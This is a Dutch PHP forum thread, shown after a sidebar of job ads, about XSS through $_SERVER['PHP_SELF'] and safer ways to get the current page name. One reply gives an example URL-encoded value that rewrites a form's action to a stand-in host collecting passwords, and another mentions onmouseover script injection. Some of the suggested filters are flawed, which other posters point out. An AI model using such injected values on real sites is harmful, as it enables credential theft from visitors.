onveilige PHP_SELF vervangen.

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

SAP Integratie Ontwikkelaar

Ben jij ambitieus in de verdere ontwikkeling van SAP binnen HANOS, en heb je kennis van SAP PI, CPI (SAP integration suite) en of andere middleware tooling? Dan ben jij mogelijk onze nieuwe SAP Integratie (middleware) Ontwikkelaar! Lees snel verder en solliciteer! Wat ga je doen? Als SAP Financieel Consultant ben je, als deel van een gedreven team van interne SAP consultants, de schakel tussen de gebruikersorganisatie en ICT. Je draagt proactief bij aan een optimale aansluiting van de SAP-functionaliteit (een applicatielandschap met o.a. Suite on HANA, Fiori, Hybris, C4C en BO), op de bedrijfsprocessen. Verder ondersteun je de HANOS

Bekijk vacature »

Fullstack Software Developer

Functieomschrijving Voor een ambitieuze werkgever in regio Roosendaal zijn wij op zoek naar een Full Stack C#.NET Developer. Als software programmeur ben je verantwoordelijk voor het bouwen van webapplicaties, apps en dashboards voor de eigen IOT-oplossingen. Je werkt samen met andere developers en engineers om de sensoren in machines uit te lezen en deze data om te zetten in management informatie voor jullie klanten. Taken en verantwoordelijkheden: Verder ontwikkelen en onderhouden van webapplicaties, dashboards en apps voor de eigen IOT-oplossingen; Testen en goedkeuren van de software; Je gaat aan de slag met de volgende technologieën en frameworks: C#, JS frameworks,

Bekijk vacature »

Java developer (remote)

Functie Wat ga je doen als Java Developer? Jij als Java ontwikkelaar komt te werken in 1 van onze SCRUM teams. Momenteel werken er zo’n 30 ontwikkelaars binnen onze organisatie waarbij jij de brug slaat tussen het bouwen van verschillende functionaliteiten binnen onze applicaties en deze vervolgens te integreren in onze centrale hub. Je start je dag om 9 uur met een stand up en dan pak je jouw taken op voor de dag. Hieronder een aantal taken die jij zal uitvoeren: – Het bedenken en uitbouwen van features binnen de verschillende applicaties – Onderhouden van CI/CD pipelines – Bezighouden

Bekijk vacature »

Senior PHP developer

Functie Jouw werkzaamheden zullen grotendeels bestaan uit het in teamverband ontwerpen, vernieuwen en door ontwikkelen van het systeem. Het is echt back-end werk (bijvoorbeeld het doorontwikkelen van een API) en dit moet je dan ook liggen. Ze zijn niet persee gebonden aan talen of tools maar gebruiken graag de technieken die het beste aansluiten op de gegeven oplossing. Voor nieuwe (versies van) componenten maken ze veelal gebruik van Go(lang). Bij aanpassingen aan bestaande onderdelen gebeurt dit in PHP en C++. Het team is heel divers, er hangt een relaxte sfeer en ze organiseren regelmatig leuke music nights, game nights e.d.

Bekijk vacature »

PHP Developer

Zie jij mogelijkheden om onze tooling technisch te verbeteren en uit te bouwen? Over Jobmatix Jobmatix is een innovatieve en internationale speler op het gebied van jobmarketing. Onze jobmarketing automation tool helpt organisaties bij het aantrekken van nieuw talent door vacatures digitaal, geautomatiseerd en op een efficiënte manier te adverteren en onder de aandacht te brengen bij de doelgroep op 25+ jobboards. Volledig performance-based, waarbij organisaties betalen op basis van cost per click of cost per applicant. Maandelijks wordt onze jobmarketing automation tool al gebruikt door vele directe werkgevers, intermediairs en mediabureaus, waaronder Picnic, Rijkswaterstaat, AdverOnline, Schiphol, DPA, Teleperformance en

Bekijk vacature »

Programmeur / Developer

Voor een familiebedrijf in Doetinchem, actief in de machinebouw voor de food-sector, zijn wij op zoek naar een programmeur / developer. In deze functie ben je werkzaam in een team van 5 medewerkers. Je werkzaamheden bestaan onder andere uit het verhelderen van requirements vanuit de opdrachtgever, de klant en de afdeling ontwikkeling. Je verricht haalbaarheidsstudies en werkt specificaties uit die je afstemt met de opdrachtgever. Je ontwerpt design in software en stemt af met je collega's. De huidige vision-systemen zijn geschreven in C software, welke draait op een CUDA platform. Je schrijft en codeert software en zal gaan testdraaien. Tot

Bekijk vacature »

Medior Front-end Developer

Sogeti is een organisatie met een goede werksfeer en zo min mogelijk hiërarchische verhoudingen. Ga je bij ons als Medior Front-end Developer aan de slag? Dan werk je dagelijks met collega’s aan de mooiste IT-projecten. Deze snelgroeiende groep collega’s krijgt energie van hun vak en dat merk je op de werkvloer. Onze klantenkring is groot en divers, dat vraagt om flexibiliteit van jou. Tegelijkertijd betekent dit dagelijks nieuwe dingen leren én dat geen werkdag hetzelfde is. Natuurlijk krijg jij de mogelijkheid je te certificeren. We organiseren regelmatig technische Meet-ups en doen we veel aan kennisdeling waarbij iedereen welkom is, zowel

Bekijk vacature »

PHP ontwikkelaar

Functie Met een complex en uitgebreid e-commerce platform, een eigen PIM-systeem en eigen scan applicatie – krijg jij dagelijks te zien hoe jouw werk gebruikt wordt door miljoenen gebruikers. En we staan qua development pas in de startblokken, aangezien er nog meerdere projecten op de plank liggen te wachten! Ons huidige development team bestaat uit 8 programmeurs. Er wordt dagelijks gereflecteerd op geschreven code, Scrum taken en kennisdelen onderling is een must. Onze voertaal binnen ons team is Engels, dit omdat wij twee internationale collega’s hebben. Ons huidige “IT Landschap” bestaat voornamelijk uit allerlei losse onderdelen die individueel, maar ook

Bekijk vacature »

.Net Front-end Ontwikkelaar

Wij zoeken een .Net Front-end Ontwikkelaar! Omschrijving Kun jij snel schakelen en ben je stressbestendig? Dan zoeken wij jou! Als .Net Front-end Ontwikkelaar help je mee aan de webapplicatie die over de hele wereld door allerlei bedrijven wordt gebruikt. Je werkt daarnaast mee aan nieuwe en verbeterde functionaliteiten en helpt met het oplossen van bugs. Over de opdrachtgever Je komt te werken in een ambitieus team dat zich blijft ontwikkelen. Dit is alle informatie die we nu kunnen delen over de werkplek. Als jij de .Net Front-end Ontwikkelaar bent voor deze job, vertellen we je snel nóg meer. Eisen Heb

Bekijk vacature »

Randstad B.V.- Freelance Senior Fullstack Develope

Startdatum: 01.05.2023 Richttarief: € 75,00 - €85,00 Duur van de opdracht: 1 jaar Uren per week: 40 Werkmodel: Hybride, dinsdag en donderdag aanwezig op kantoor in Diemen en meer wanneer dit nodig is. Functieomschrijving: De ideale kandidaat gaat onderdeel uitmaken van een junior team binnen het foundation domein. Vanuit het foundation domein werkt dit team samen met andere foundation teams en teams uit het online domein (professionals B2B en B2C) voor het bouwen en integreren van HRM functionaliteiten (verlof en benefits) in de persoonlijke portal van Interim Professionals. Er is meer backend werk dan frontend, maar kandidaat moet beiden leuk

Bekijk vacature »

C# Developer

Dit ga je doen Je gaat aan de slag in het websites team of portals team waarin je je bezighoudt met concept & design, implementatie en ook een stukje bugfixing en onderhoud; Je werkt met je team volgens de Scrum werkwijze; Zo adviseer je ook de PO & Scrum Master over de technische architectuur, koppelingen en integratie met externe systemen en API’s; Je blijft op de hoogte van de laatste ontwikkelingen en trends op het gebied van C# / .NET en deelt deze kennis binnen de organisatie. Hier ga je werken Onze klant is een internationale organisatie gevestigd in de

Bekijk vacature »

SQL Developer

Functie omschrijving We are looking for a dutch native speaker Jij gaat in deze functie aan de slag met uitdagende projecten en het creëren van maatwerk software, vooral middels SQL. Iedere klant/project is weer anders, maar dat maakt dit bedrijf en de functie erg uniek & uitdagend. Verder heb je de volgende taken: Ontwikkelen en ontwerpen van SQL databases. T-SQL wordt hierbij gebruikt als programmeer laag; Optimalisatie van query's, voor een verbeterde efficiency; Begeleiden van junior developers, mits je dit leuk vindt; Heb je meer interesse in een rol als consultant, dan is dit ook mogelijk. Je heb hier meer

Bekijk vacature »

Android developer

De functie Schiphol is een plek om te reizen, te verblijven en te werken. Door middel van data en technologie richten we op al deze gebieden het leef- en werkklimaat optimaal in en zorgen we voor een slimmere en efficiëntere operatie. Wij ontwikkelen nieuwe producten en diensten vanuit de wensen en behoeften van onze klanten, voorspellen passagier flows en testen digitale oplossingen om rijen en andere pijnpunten in het proces te verminderen. Met slimme feedback van sensortechnologie maken we zelfs data van toiletten en stoelen inzichtelijk en bruikbaar. Het Commercial Platform bestaat uit multidisciplinaire teams met een end-2-end verantwoordelijkheid voor

Bekijk vacature »

PHP developer

Functie omschrijving Voor een klein bedrijf in de buurt van Nieuwegein zijn wij per direct op zoek naar een talentvolle PHP developer. Er wordt veel ruimte geboden voor eigen initiateven, waardoor je een mooie stempel kan drukken op jouw eigen werkzaamheden (zowel operationeel als strategisch). Het bedrijf heeft middels externe programmeurs een multimedia platform ontwikkeld, maar willen geleidelijk de ontwikkeling naar binnen halen. Om die reden zoeken zij een communicatieve interne PHP developer die graag meebouwt aan het succesvolle product. Je gaat de volgende werkzaamheden verrichten: Platform beheren en programmeren (PHP, MySQL, JQuery, Javascript, XML & HTML); Communicatie en aansturing

Bekijk vacature »

Senior Applicatie ontwikkelaar Java

Bedrijfsomschrijving De IV- organisatie van de Belastingdienst is verantwoordelijk voor en verzorgt de ICT- voorzieningen. Het merendeel van de applicaties wordt op dit moment door de IV- organisatie zelf ontwikkeld, onderhouden en beheerd in het eigen data center. Naast de zorg voor continuïteit op de massale heffing- en inningsprocessen die plaatsvinden binnen een degelijke, stabiele omgeving, wordt er tevens volop gewerkt aan modernisering van het IV- landschap. Dit gebeurt deels intern door gebruik te maken van de expertise die intern aanwezig is, maar ook door het aantrekken van (kant-en-klaar) oplossingen en expertise uit de markt. Functieomschrijving We verwachten van je,

Bekijk vacature »
Mark L

Mark L

03/07/2010 13:11:56
Quote Anchor link
Ik weet ondertussen al een tijd dat de $_SERVER['PHP_SELF'] variabele niet te vertrouwen is. (aangezien deze XSS kan bevatten)
Nu wil ik dus op een andere manier erachter komen op welke pagina ik nu zit. Ik hoorde dat __FILE__ hierbij de oplossing was, tot ik erachter kwam dat dit niet lekker werkt bij een include (omdat hij dat de file van de include pakt en niet van de relatieve pagina).

Hoe kom ik - op een veilige manier - achter de huidige pagina? (Graag zonder elke pagina te beginnen met $curPage = 'pagina.php';)

Via google kwam ik op topics waar mensen zeiden dat ze $_SERVER['SCRIPT_NAME'] gebruikten, maar is deze dan wel veilig?

Gr,
Mark
 
PHP hulp

PHP hulp

12/05/2024 16:41:17
 
Mark L

Mark L

04/07/2010 14:41:11
Quote Anchor link
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
    Bump(true);
?>
 
Erwin Geen

Erwin Geen

04/07/2010 17:27:30
Quote Anchor link
Kan je niet een variabele of constant maken van die __FILE__?
Maar ik las net dat SCRIPT_NAME wel veilig is. (link)
Gewijzigd op 04/07/2010 17:36:37 door Erwin Geen
 
Jelmer -

Jelmer -

04/07/2010 17:54:33
Quote Anchor link
Weet je waarom $_SERVER['PHP_SELF'] niet veilig is? Als je dat weet, kan je andere variabelen in $_SERVER proberen, zoals bijvoorbeeld SCRIPT_NAME, om te kijken of die diezelfde lekken vertonen.

Hint: PHP_SELF bevat de URL zoals je hem aanroept. Dus wanneer je een quote in je url zet, komt die ook in PHP_SELF. Als je dan bijv. <form action="{$PHP_SELF}"> neer zou zetten, en je roept de pagina aan als test.php?%22+action%3D%22http%3A%2F%2Fwww.bad.com%2Fsavepassword.php dan verwijst het formulier plots naar een andere site.
 
Mark L

Mark L

04/07/2010 18:44:09
Quote Anchor link
PATH_INFO word - als dit aanstaat op de server - meegestuurd in de variabele. Dit is daardoor van buitenaf beïnvloedbaar en XSS gevaren met zich mee.
Her fijne weet ik er eerlijk gezegd niet van, zou ik me inderdaad nog eens in moeten verdiepen.
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:19:23
Quote Anchor link
Wat ik persoonlijk gebruik, is het volgende:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Volgens mij pakt ie dan (in het voorbeeld van Jelmer) ook écht het eigen bestandsnaam.

Zie bijv. de volgende link:
Test
Code:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Werkt dus best goed, voor zover ik weet.
Gewijzigd op 04/07/2010 21:23:08 door Jannick Bolten
 
Jelmer -

Jelmer -

04/07/2010 21:32:03
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:49:12
Quote Anchor link
Hmm, OK, you've got me. Ik had vroeger een ander stukje, maar die ben ik helaas kwijt. Dan is inderdaad SCRIPT_NAME nog het beste. Maar ja, zoals al bekend is, niets is veilig genoeg.
 
Martijn B

Martijn B

04/07/2010 22:13:10
Quote Anchor link
Volgens mij is dit veilig:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
$_SERVER
['PHP_SELF'] = str_replace(array('<', '>', '"'), array('%3C', '%3E', '&quot;'), $_SERVER['PHP_SELF']);
?>


Ja je kunt quotes in de URL hebben, maar er wordt dan nog geen code uitgevoerd door je browser.

Edit:

De quote heb ik er nu ook bij gezet. Dankzij Jelmer rrrr.
Gewijzigd op 04/07/2010 22:39:42 door Martijn B
 
Jelmer -

Jelmer -

04/07/2010 22:28:22
Quote Anchor link
Quotes in $PHP_SELF, en een form-element waar hij wordt gebruikt is genoeg om code uit te voeren op zich. onmouseover is goed genoeg om Javascript uit te voeren, redelijke kans dat iemand met z'n muis over een form-elementje gaat. Maar htmlspecialchars of htmlentities biedt voldoende beveiliging.
 
Niels K

Niels K

05/07/2010 09:32:40
Quote Anchor link
dit is als het goed is voldoende, zoals jelmer aangeeft

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?php

htmlspecialchars( basename( $_SERVER['PHP_SELF'] ) );

?>
 
P Lekensteyn

P Lekensteyn

05/07/2010 16:55:54
Quote Anchor link
Waarom dan nog basename?
Basename sowieso niet gebruiken zonder vorm van validatie als het van de bezoeker komt.

basename('/een/pad/naar/..') -> ..
dirname('/een/pad/naar/../raar') -> ..
Gebruik dan realpath() of een functie die //, /./ en /../ weghaalt.

dit is prima: htmlentities($_SERVER['PHP_SELF'])

Of je doet gewoon: <form action="denaamvanhetphpbestand.php">
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.